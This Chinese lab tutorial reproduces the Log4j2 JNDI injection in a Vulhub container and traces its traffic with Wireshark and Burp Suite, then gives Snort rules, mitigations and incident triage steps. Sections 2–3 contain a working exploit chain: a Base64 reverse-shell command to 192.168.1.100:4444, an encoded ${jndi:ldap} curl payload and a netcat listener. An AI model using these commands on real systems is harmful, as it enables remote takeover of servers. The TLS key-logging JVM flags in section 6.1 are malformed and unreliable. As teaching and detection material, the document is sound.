Log4j2漏洞实战：用Wireshark与Burp Suite抓包分析JNDI注入攻击链

1. 项目概述：从“知道”到“抓到”的实战跨越

如果你是一名安全工程师、运维人员，或者是对网络安全充满好奇的开发者，那么“Log4j2漏洞”这个词对你来说一定不陌生。从2021年底爆发至今，它依然是安全领域一个绕不开的经典案例。我们经常在各种分析文章、漏洞报告中看到类似${jndi:ldap://evil.com/a}这样的攻击载荷，知道它很危险，能导致远程代码执行。但你是否想过，当这样的攻击真实发生时，它在网络世界里究竟长什么样？它如何在你的眼皮底下穿过防火墙、负载均衡，最终抵达你的应用服务器？仅仅知道一个漏洞编号和攻击字符串，就像只认识通缉犯的照片，却不知道他如何作案、会留下什么痕迹。

这就是我们今天要做的：不再停留在理论层面“盯着”那个${jndi:ldap}字符串，而是拿起“网络显微镜”Wireshark和“应用手术刀”Burp Suite，亲手搭建一个靶场环境，发起一次模拟攻击，并完整地捕获、分析攻击产生的真实网络流量。通过这个过程，你将直观地看到一次完整的Log4j2 JNDI注入攻击在网络层和应用层留下的完整“足迹”。这不仅能让你深刻理解漏洞的利用链，更能让你掌握一套在真实环境中检测、排查此类攻击的实战技能。无论你是想加固自己的系统，还是作为安全响应人员需要分析安全事件，这篇文章都将提供一份可以直接“抄作业”的完整操作指南。

2. 环境准备与工具选型：构建你的安全分析沙箱

工欲善其事，必先利其器。在开始抓包之前，我们需要一个安全、可控的测试环境。直接在公网或生产环境进行测试是绝对禁止的，这不仅危险，还可能违法。因此，搭建一个本地的、隔离的沙箱环境是我们的第一步。

2.1 靶场环境搭建：Vulhub的便捷之道

为了复现Log4j2漏洞，我们不需要从零开始编写一个存在漏洞的Spring Boot应用。社区里已经有非常成熟且安全的漏洞靶场项目，这里我强烈推荐Vulhub。Vulhub是一个基于Docker和Docker-compose的漏洞环境集合，一键启动，用完即删，非常适合学习和测试。

操作步骤：

1. 安装Docker与Docker-compose：确保你的Linux或macOS系统（Windows用户可使用WSL2）已经安装了Docker Engine和Docker-compose。这是Vulhub运行的基础。
2. 下载Vulhub：通过Git克隆项目到本地。

   git clone https://github.com/vulhub/vulhub.git cd vulhub

3. 启动Log4j2靶场：进入对应的漏洞目录，使用docker-compose启动环境。

   cd log4j2/CVE-2021-44228 docker-compose up -d

   执行后，Docker会拉取镜像并启动一个存在Log4j2漏洞的简单Web应用，通常运行在8080端口。

注意：请务必在虚拟机或隔离的网络环境中进行此操作。虽然Vulhub是用于教育的，但任何漏洞利用行为都应在授权范围内进行。

环境解析：这个靶场模拟了一个接收HTTP参数并将其记录到日志的Web接口。当我们传入包含${jndi:ldap://...}的恶意参数时，存在漏洞的Log4j2库就会去解析这个JNDI查找，从而触发后续的利用链。我们的攻击目标就是它。

2.2 攻击工具准备：从LDAP服务器到利用载荷

一次完整的JNDI注入攻击通常涉及几个角色：攻击者、受害应用、恶意的LDAP/RMI服务端、以及最终托管恶意Java类的HTTP服务。为了模拟全流程，我们需要准备两个关键组件：

1. JNDI注入利用工具：这里我们使用一个广泛用于安全测试的Java工具——JNDI-Injection-Exploit。它可以快速启动一个恶意的RMI/LDAP服务，并指定远程加载的恶意类地址。

   • 下载与运行：

     git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 编译 mvn clean package -DskipTests # 运行，指定恶意类所在的HTTP服务器地址（假设为攻击机IP:8000） java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}” -A “192.168.1.100”

     这个命令会启动一个同时监听RMI和LDAP端口的服务。-C参数指定了要执行的命令（这里是一个经过Base64编码的反向Shell命令，解码后会尝试连接到192.168.1.100:4444），-A参数指定了托管恶意class文件的HTTP服务器地址（即你的攻击机IP）。

2. 恶意HTTP服务器与监听端：我们需要一个简单的HTTP服务器来提供恶意class文件，并用netcat监听反向Shell的连接。

   • 启动HTTP服务（在JNDI工具所在目录，因为工具会生成exploit.class）：

     python3 -m http.server 8000

   • 启动Netcat监听：

     nc -lvnp 4444

工具选型理由：选择JNDI-Injection-Exploit是因为它集成度高，一键启动RMI/LDAP服务并自动生成对应的利用URL，非常适合教学和演示。在生产环境检测中，攻击者可能会使用更隐蔽的工具，但网络流量的基本特征是相似的。

2.3 流量分析双雄：Wireshark与Burp Suite的分工

为什么需要两个工具？因为它们观察的层次和维度不同，互补才能看到全貌。

• Wireshark：网络层的“全知眼”Wireshark工作在数据链路层和网络层，能捕获流经网卡的所有原始数据包（TCP/IP包）。它的强大在于“全量”和“原始”。你可以看到一次HTTP请求背后所有的TCP三次握手、TLS握手（如果是HTTPS）、实际的HTTP数据包以及最终的TCP连接断开。对于Log4j2攻击，Wireshark能帮你看到：

  • 受害应用向恶意LDAP服务器发起的LDAP协议查询。
  • 随后，受害应用向恶意HTTP服务器发起的HTTP GET请求，用于下载exploit.class文件。
  • 攻击成功后，反向Shell建立的TCP连接（到4444端口）。 这些都是独立于应用逻辑的、最底层的网络行为证据。

• Burp Suite：应用层的“手术刀”Burp Suite是一个Web应用安全测试平台，通常作为浏览器和服务器之间的代理。它主要工作在应用层（HTTP/HTTPS）。所有经过代理的HTTP(S)请求和响应都会被它拦截、记录、并允许你查看和修改。对于Log4j2攻击，Burp Suite能帮你：

  • 清晰地看到触发漏洞的那个原始HTTP请求，包括请求头、参数（其中就包含${jndi:ldap://...}）。
  • 查看应用返回的响应，有时可能包含错误信息。
  • 方便地重放(Replay)攻击请求，进行反复测试。 但它看不到LDAP流量和最终的反向Shell TCP流量，因为这些不属于HTTP协议。

总结一下分工：Burp Suite告诉你“攻击者发送了什么恶意HTTP请求”，而Wireshark则告诉你“这个恶意请求之后，服务器在底层偷偷做了什么（发起LDAP查询、下载class文件、建立反向连接）”。两者结合，才能完成从攻击入口到危害后果的完整取证。

3. 实战抓包：发起攻击并捕获完整流量链

环境就绪，工具备好，现在让我们发起攻击，并同时开启Wireshark和Burp Suite，捕获这稍纵即逝的“犯罪现场”。

3.1 配置Burp Suite代理与浏览器

首先，确保Burp Suite的代理监听器是开启的（默认127.0.0.1:8080）。然后配置你的浏览器或系统网络代理，将HTTP和HTTPS流量指向Burp Suite。这里以Firefox浏览器为例，在网络设置中手动配置代理为127.0.0.1，端口8080。

关键一步：安装Burp Suite的CA证书。为了能够拦截和解密HTTPS流量（虽然我们的靶场是HTTP，但好习惯要养成），你需要在浏览器中安装Burp Suite生成的CA证书。具体步骤为：用浏览器访问http://burpsuite，下载证书，并在浏览器的证书管理器中导入并信任它。这样，Burp Suite才能成为合格的“中间人”。

3.2 启动Wireshark并选择抓包接口

打开Wireshark，在接口列表中选择正确的网络接口。如果你是在虚拟机中运行靶场，通常需要选择虚拟网卡（如eth0或虚拟网卡对应的接口）。如果是在本机Docker环境，Docker会创建一个虚拟网络（如docker0），选择它才能抓到容器流量。一个简单的判断方法是看哪个接口有持续的流量波动。开始抓包前，可以暂时不设置过滤条件，以免遗漏任何数据包。

3.3 构造并发送攻击请求

现在，通过已配置代理的浏览器或使用curl命令，向靶场应用发送攻击载荷。

假设靶场应用地址是http://192.168.1.200:8080，它有一个/hello端点，接收一个name参数。我们的攻击载荷是JNDI-Injection-Exploit生成的LDAP URL，格式通常为：${jndi:ldap://你的攻击机IP:1389/Basic/Command/Base64/...}。

使用curl发送请求：

curl -v ‘http://192.168.1.200:8080/hello?name=%24%7Bjndi%3Aldap%3A%2F%2F192.168.1.100%3A1389%2FBasic%2FCommand%2FBase64%2FYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ%3D%3D%7D’

注意，这里对${和}等字符进行了URL编码（%24%7B和%7D），这是HTTP传输中的常见情况。Burp Suite在拦截时会自动将其解码显示，方便我们查看。

3.4 同时捕获：Burp Suite与Wireshark的视角

发送请求后，立即切换到两个工具观察：

1. Burp Suite视角：

   • 在Proxy -> Intercept标签页，如果你开启了拦截，会看到被拦截的GET请求。请求的查询参数name中，清晰地显示着解码后的${jndi:ldap://192.168.1.100:1389/Basic/Command/Base64/...}字符串。
   • 切换到HTTP history标签页，你能看到这次请求的历史记录，包括完整的请求和响应头、响应体。响应体可能很简单，但攻击已经注入。

2. Wireshark视角：

   • 此时Wireshark的抓包界面应该开始滚动大量数据包。我们需要进行过滤来找到关键流量。首先，找到受害服务器（192.168.1.200）与攻击机（192.168.1.100）之间的流量。一个有效的过滤语句是：ip.addr == 192.168.1.100 && ip.addr == 192.168.1.200。
   • 应用过滤后，你应该能看到三个关键阶段的TCP流： a.LDAP查询：受害服务器（200）向攻击机的1389端口（LDAP）发起连接。你可以右键数据包 -> “追踪流” -> “TCP流”，会看到一个LDAP协议的数据流，其中包含searchRequest等操作，这是Log4j2在解析JNDI后尝试进行LDAP查找。 b.HTTP下载Class：紧接着，受害服务器向攻击机的8000端口（HTTP）发起一个GET请求，路径类似于/Basic/Command/Base64/...，这正是去下载恶意Java类的请求。在TCP流中，你能看到HTTP请求和响应，响应体是一个Java class文件的二进制内容。 c.反向Shell连接：如果漏洞利用成功，受害服务器会尝试向攻击机的4444端口发起TCP连接。这就是我们之前用nc监听的那个端口。在Wireshark中，你会看到一条新的TCP流，目标端口是4444。

实操心得：在实际抓包时，网络背景噪音可能很多。一个高效的技巧是，在发起攻击前，在Wireshark中使用tcp.port == 1389 or tcp.port == 8000 or tcp.port == 4444这样的过滤条件，直接关注我们攻击涉及的关键端口，能极大提升分析效率。

4. 流量深度解析：从数据包中还原攻击故事

捕获到流量只是第一步，像侦探一样解读这些数据包，才能还原出完整的攻击链。我们分别从应用层和网络层来拆解。

4.1 Burp Suite视角：攻击的发起与入口点

在Burp Suite的HTTP历史记录中，找到那条攻击请求，深入查看：

• 请求行：GET /hello?name=...。这告诉我们漏洞触发的端点和方法。
• 攻击载荷：在name参数值中，${jndi:ldap://...}清晰可见。这是最直接、最关键的攻击证据。在真实的安全事件响应中，从Web访问日志或应用日志中搜索这种模式，是最初级的检测手段。
• 请求头：注意观察User-Agent、X-Forwarded-For等头部。攻击者可能在此处也尝试注入，或者这些信息可以帮助你追溯攻击源。
• 响应：靶场应用的响应可能很简单，比如“Hello, ${jndi:ldap...}”。这并不意味着攻击失败。因为漏洞的触发和利用发生在服务端日志记录阶段，与返回给客户端的响应无关。这是很多新手容易混淆的点：攻击是否成功，不能只看HTTP响应。

Burp Suite的延伸利用：你可以将这条请求发送到Repeater模块，修改LDAP URL中的IP或端口，反复测试，观察Wireshark中流量变化，加深理解。

4.2 Wireshark视角：漏洞触发的底层网络行为

Wireshark展示的是Burp Suite看不到的“后台故事”。我们逐一分析三个阶段：

阶段一：LDAP协议查询（端口1389）

1. 在过滤出的数据包中，找到目标端口为1389的TCP流。右键 -> “追踪流” -> “TCP流”。
2. 弹出的窗口会以ASCII或十六进制形式显示该TCP连接的所有数据。你应该能看到类似以下的结构（已简化）：

   ... searchRequest ... ldap://192.168.1.100:1389/Basic/Command/Base64/... objectClass=javaNamingReference ...

   这表示受害服务器向攻击机的LDAP服务发起了一次查询，查询的内容正是我们注入的JNDI地址中的路径。恶意的LDAP服务器随后会返回一个reference，告诉受害者：“你要的类不在我这，你去http://192.168.1.100:8000/...这个地址下载吧”。这个“重定向”信息就包含在LDAP响应中。

阶段二：HTTP下载恶意类（端口8000）

1. 紧接着，找到目标端口为8000的TCP流，追踪TCP流。
2. 这次你会看到一个清晰的HTTP对话：
   • 请求：GET /Basic/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ== HTTP/1.1
   • 响应：HTTP/1.1 200 OK，在响应体部分，是一串乱码般的二进制数据，这就是恶意的exploit.class文件。 Wireshark甚至能帮你导出这个文件（在追踪TCP流的窗口，将显示格式改为“原始数据”，然后另存为.class文件）。你可以用javap -c命令反编译这个class文件，看到它内部就是去执行我们指定的Base64编码后的命令。

阶段三：反向Shell连接建立（端口4444）

1. 最后，找到目标端口为4444的TCP流。如果漏洞利用成功，且目标服务器出网不受限制，这里会建立一个新的TCP连接。
2. 追踪这个TCP流，你可能会看到一些交互式的命令提示符（如bash-4.2$），这就是反向Shell的通道。攻击者已经可以在这一连接上执行任意命令了。

网络行为特征总结：

• 时序性：一次成功的攻击，会严格按照HTTP请求（带JNDI）-> LDAP查询 -> HTTP下载 -> 反向TCP连接的顺序产生网络流量。
• 端口特征：短时间内，从同一源IP（受害服务器）向外部可疑IP的非常用端口（如1389/LDAP, 8000/HTTP, 4444/TCP）发起连接，是极强的异常信号。
• 协议混合：一次Web请求，却引发了LDAP和额外的HTTP请求，这种协议混合行为本身就很可疑。

5. 基于流量的检测与防御策略构建

分析完攻击流量，我们的目标就变成了：如何利用这些知识，在真实网络中提前发现并阻止此类攻击？

5.1 网络层检测（基于Wireshark/IDS/IPS规则）

网络入侵检测/防御系统（NIDS/NIPS）如Suricata、Snort，其规则本质就是对网络流量特征的描述。我们可以根据上面的分析，编写检测规则。

检测思路一：检测JNDI注入模式虽然攻击载荷可能被编码、混淆，但${jndi:这个模式在早期、简单的攻击中仍然常见。我们可以编写Snort规则：

alert tcp any any -> any any (msg:“Potential Log4j2 JNDI Injection Pattern”; content:“${jndi:”; nocase; http_client_body; sid:1000001; rev:1;)

这条规则会在HTTP客户端请求体中检测不区分大小写的${jndi:字符串。但高级攻击者会使用各种绕过技巧，如${${lower:j}ndi:、${jndi:${lower:l}${lower:d}ap...}等。

检测思路二：检测异常LDAP外联（更可靠）这是更底层、更难以绕过的检测点。内网的Web服务器通常没有理由主动向外网的LDAP服务（默认端口389，或攻击者自定义的高位端口）发起连接。

alert ip $INTERNAL_NETS any -> $EXTERNAL_NETS [389,1389,1636,636] (msg:“Internal host attempting LDAP connection to external network”; dsize:>0; sid:1000002; rev:1;)

这条规则检测从内部网络到外部网络的LDAP连接尝试。需要将$INTERNAL_NETS和$EXTERNAL_NETS替换为你网络的实际变量。

检测思路三：检测异常Java Class文件下载Web服务器在响应了一个用户请求后，紧接着又作为客户端去下载一个.class文件，这行为极其可疑。可以检测HTTP响应头中的Content-Type包含java或响应URL路径以.class结尾的对外请求。

alert tcp $INTERNAL_NETS any -> $EXTERNAL_NETS 80,443,8000,8080 (msg:“Potential Malicious Java Class Download”; flow:to_server,established; content:“.class”; http_uri; nocase; sid:1000003; rev:1;)

5.2 应用层/主机层检测与响应

网络检测可能存在盲点（如加密流量、内部横向移动），因此需要结合应用层和主机层的监控。

1. 日志监控：这是第一道防线。在应用的日志聚合系统（如ELK Stack）中，设置告警规则，实时扫描应用日志文件，寻找${jndi:、${ldap:、${rmi:等模式。注意要考虑到各种大小写转换、编码的绕过变种。
2. 主机进程监控：利用HIDS（主机入侵检测系统）如Osquery、Wazuh，监控服务器上是否有异常进程启动。例如，在Log4j2漏洞利用成功后，通常会启动一个bash、sh或python进程来执行攻击载荷。监控/bin/bash、/bin/sh等敏感二进制文件的执行，并关联其父进程和命令行参数，是发现入侵的有效手段。
3. 出站连接监控：在服务器上使用netstat、ss命令或通过HIDS，监控服务器发起的异常出站网络连接。重点关注连接到外部非常用端口（如1389, 4444, 9999等）的连接。结合进程网络连接信息，可以定位到是哪个Java进程发起了可疑连接。

5.3 防御加固建议

检测是“治标”，加固才是“治本”。

1. 紧急缓解：

   • 设置Log4j2系统属性：在Java应用启动参数中添加-Dlog4j2.formatMsgNoLookups=true（Log4j 2.10及以上）。这是漏洞爆发初期最有效的临时缓解措施。
   • 移除JndiLookup类：对于无法升级的旧版本，可以从log4j-core的jar包中物理删除org/apache/logging/log4j/core/lookup/JndiLookup.class文件。命令示例：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。
   • 网络层隔离：严格限制服务器（尤其是Web、应用服务器）的出站连接。使用防火墙或安全组策略，只允许访问必要的白名单地址和端口（如数据库、缓存、内部API等），阻断所有到外部LDAP、RMI、HTTP服务的连接。这是阻断漏洞利用链最彻底的方法。

2. 根本解决：

   • 升级Log4j2：立即将Log4j2组件升级到官方发布的安全版本（如2.17.1, 2.12.4, 2.3.2等），这些版本默认禁用了有风险的JNDI查找功能。
   • 供应链安全扫描：使用SCA（软件成分分析）工具，如OWASP Dependency-Check、Trivy等，对项目依赖进行常态化扫描，及时发现并修复存在已知漏洞的组件。
   • 运行时保护：考虑使用RASP（运行时应用自我保护）技术，在应用内部监控并阻断可疑的JNDI查找、类加载、命令执行等危险行为。

6. 高级技巧与疑难问题排查

在实际操作和真实环境分析中，你可能会遇到一些复杂情况。这里分享一些进阶技巧和排查思路。

6.1 当攻击流量被加密（HTTPS）时怎么办？

现代Web应用普遍使用HTTPS，这给流量分析带来了挑战。Wireshark抓到的HTTPS流量是加密的TLS记录，看不到内部的HTTP请求。

解决方案一：配置SSL/TLS密钥解密（针对测试环境）如果你拥有服务器的私钥，可以在Wireshark中配置，使其能解密TLS流量。

1. 在Wireshark中，进入编辑 -> 首选项 -> Protocols -> TLS。
2. 在(Pre)-Master-Secret log filename选项中，指定一个文件路径。
3. 在启动Java应用（靶场）时，添加JVM参数：-javax.net.debug=ssl:keymanager:handshake -Dssl.keyLogFile=/path/to/sslkey.log。这会让JVM将会话密钥写入指定文件。
4. Wireshark会读取这个文件，自动解密对应的TLS流量。

解决方案二：依赖Burp Suite作为中间人在实战分析中，更常用的方法是通过Burp Suite这样的代理工具。因为浏览器信任了Burp的CA证书，所以Burp Suite可以解密HTTPS流量，让你在应用层看到明文的HTTP请求和响应。对于网络层的LDAP等流量，它们本身不是HTTPS，Wireshark依然可以直接查看。

6.2 如何区分扫描流量与真实攻击流量？

互联网上充斥着大量的自动化漏洞扫描器，它们会批量发送包含${jndi:ldap://dnslog.cn}等探测载荷的请求。这些流量特征明显，但通常不会携带真正的恶意LDAP地址（因为攻击者只是用它来探测漏洞是否存在，通过DNS记录确认）。

区分要点：

• 目标LDAP地址：扫描流量中的LDAP地址通常是公开的DNSLog平台（如dnslog.cn,ceye.io），而真实攻击的地址是攻击者控制的恶意服务器。
• 后续连接行为：扫描流量在发送JNDI载荷后，不会有后续的向恶意LDAP/HTTP服务器发起的连接。而真实攻击，只要目标存在漏洞且网络可达，就一定会产生我们之前抓到的第二阶段（LDAP查询）和第三阶段（HTTP下载）流量。
• 载荷复杂度：扫描载荷通常简单、标准化。真实攻击载荷可能经过多层编码、混淆，并指向攻击者精心搭建的、存活时间很短的“飞燕”式服务器。

在Wireshark中，如果你只看到了带有${jndi:的HTTP请求包，却没有看到从服务器发往外部可疑IP的后续LDAP或HTTP请求包，那么这很可能只是一次扫描行为。

6.3 实战排查案例：服务器已修补，为何还有可疑外联？

有时，即使确认Log4j2已升级到安全版本，监控系统仍然告警服务器有异常外联（如连接陌生IP的1389端口）。这可能的原因有：

1. 残留进程或连接：漏洞利用时可能已经建立了持久化的后门或反弹Shell，这些进程在漏洞修复后依然存在并保持连接。使用netstat -antp或lsof -i命令查看具体是哪个进程在连接外部IP，然后终止该进程并彻底排查。
2. 其他组件的漏洞：JNDI注入并非Log4j2独有。其他使用JNDI的Java库或框架（如某些旧的Fastjson版本、不安全的反序列化点）也可能被利用。需要全面审查应用的所有依赖。
3. 误报：服务器上运行的其他合法应用可能需要连接LDAP服务（如员工认证）。需要结合连接的目的IP、端口、以及进程信息进行综合判断。建立内部服务的端口白名单基线非常重要。

排查步骤建议：

• 第一步：定位进程。使用ss -antp | grep :1389或lsof -i:1389找到发起连接的进程PID。
• 第二步：检查进程信息。通过ps -ef | grep或cat /proc//cmdline查看该进程的完整命令行和路径。
• 第三步：分析进程来源。检查该进程对应的JAR包或应用，使用SCA工具扫描其依赖，确认是否存在其他脆弱组件。同时检查服务器的crontab、systemd服务、启动脚本等，看是否有可疑的持久化配置。

通过这样一次从环境搭建、攻击模拟、流量捕获到深度分析和策略构建的完整旅程，你不仅彻底理解了Log4j2漏洞的利用链，更重要的是掌握了一套分析、检测和应对此类高级威胁的实战方法。安全研究的意义不在于记住多少个CVE编号，而在于拥有透过现象看本质，在数据的洪流中捕捉蛛丝马迹的能力。下次再看到安全警报，希望你能自信地打开Wireshark，开始你的调查。